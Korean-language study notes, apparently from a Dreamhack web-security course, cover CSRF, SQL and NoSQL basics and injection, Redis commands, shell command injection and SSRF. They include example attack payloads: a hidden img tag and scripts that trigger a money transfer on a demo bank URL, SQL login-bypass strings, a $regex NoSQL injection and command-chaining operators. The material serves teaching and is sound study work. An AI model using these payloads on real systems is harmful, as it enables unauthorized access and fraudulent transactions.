<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
// 이미지 주소로 가장해 요청 전송
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
// 새로운 창을 통해 요청 전송
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
// 현재 주소를 변경해 요청 전송
CREATE DATABASE Dreamhack;
USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(
idx INT AUTO_INCREMENT,
boardTitle VARCHAR(100) NOT NULL,
boardContent VARCHAR(2000) NOT NULL,
PRIMARY KEY(idx)
);
INSERT INTO
Board(boardTitle, boardContent, createdDate)
Values(
'Hello',
'World !',
Now()
);
SELECT
boardTitle, boardContent
FROM
Board
Where
idx=1;
UPDATE Board SET boardContent='DreamHack!'
Where idx=1;
'select * from users where userid="{userid}" and userpassword="{userpassword}"
// userid : id 입력값
// userpassword: password 입력값
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
// userid 에 admin" -- 을 입력한다.
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
// status 가 A이고 qty가 30보다 적은것을 조회
select 문에서 첫번째는 조건, 두번째는 출력 포맷
insert는 json으로 전달
delete는 json으로 전달
update의 경우 첫번째는 조건, 두번째는 동작
위 경우 $set 연산자를 이용해 업데이트.
키-값의 쌍을 가진 데이터를 저자ㅇ한다.
메모리 기반 DB이며, 임시 데이터를 캐싱하는 용도로 주로 사용한다.
GET {key} : 연산자 조회
MGET {key...} : 여러 데이터 조회
SET {key} {value} : 키-값 설정
MSET {key} {value} {key} {value} ... : 여러 키-값 설정
DEL {key} : 데이터 삭제
EXIST {key} : 데이터 유무 확인
INCR {key} : key값 1 증가
DECR {key} : key값 1 감소
INFO {section} : 정보 조회
CONFIG SET / GET : 설정 조회 혹은 입력
REST API 형식으로 요청을 처리함
POST는 추가, GET은 조회, PUT은 업데이트 DELETE는 삭제
쿼리스트링 작성시 object 형식으로 보낼수 있다.
id[$regex]=ad.in
과 같이 쿼리문을 보낼시
{
$regex: "ad.in"
}
과 같이 전송받는다.
악의적인 데이터를 입력해 쿼리로 실행되게 하는것
echo `echo a` : 명령어 결과로 치환됨
echo $(echo a) : 명령어 결과로 치환됨
&& : 명령 연달아 수행, 앞이 성공시 실행
|| : 명령 연달아 수행, 앞이 실패시 실행
; : 명령 연달아 수행
| : 파이프
http://127.0.0.1:8000/image_downloader?image_url=https://dreamhack.io/assets/dreamhack_logo.png
// image_url에 요청을 보내 이미지를 받아오는것
// 만약 다른 url을 적을시 그 url로 내부에서 내부로 요청이 전송된다.
// 내부 접속만 허용된 다른 서비스를 임의로 호출할수 있게 된다.
입력값을 변조해 다른 요청이 전송되도록 할수 있다.
동일하게 입력값을 변조해 얻어냄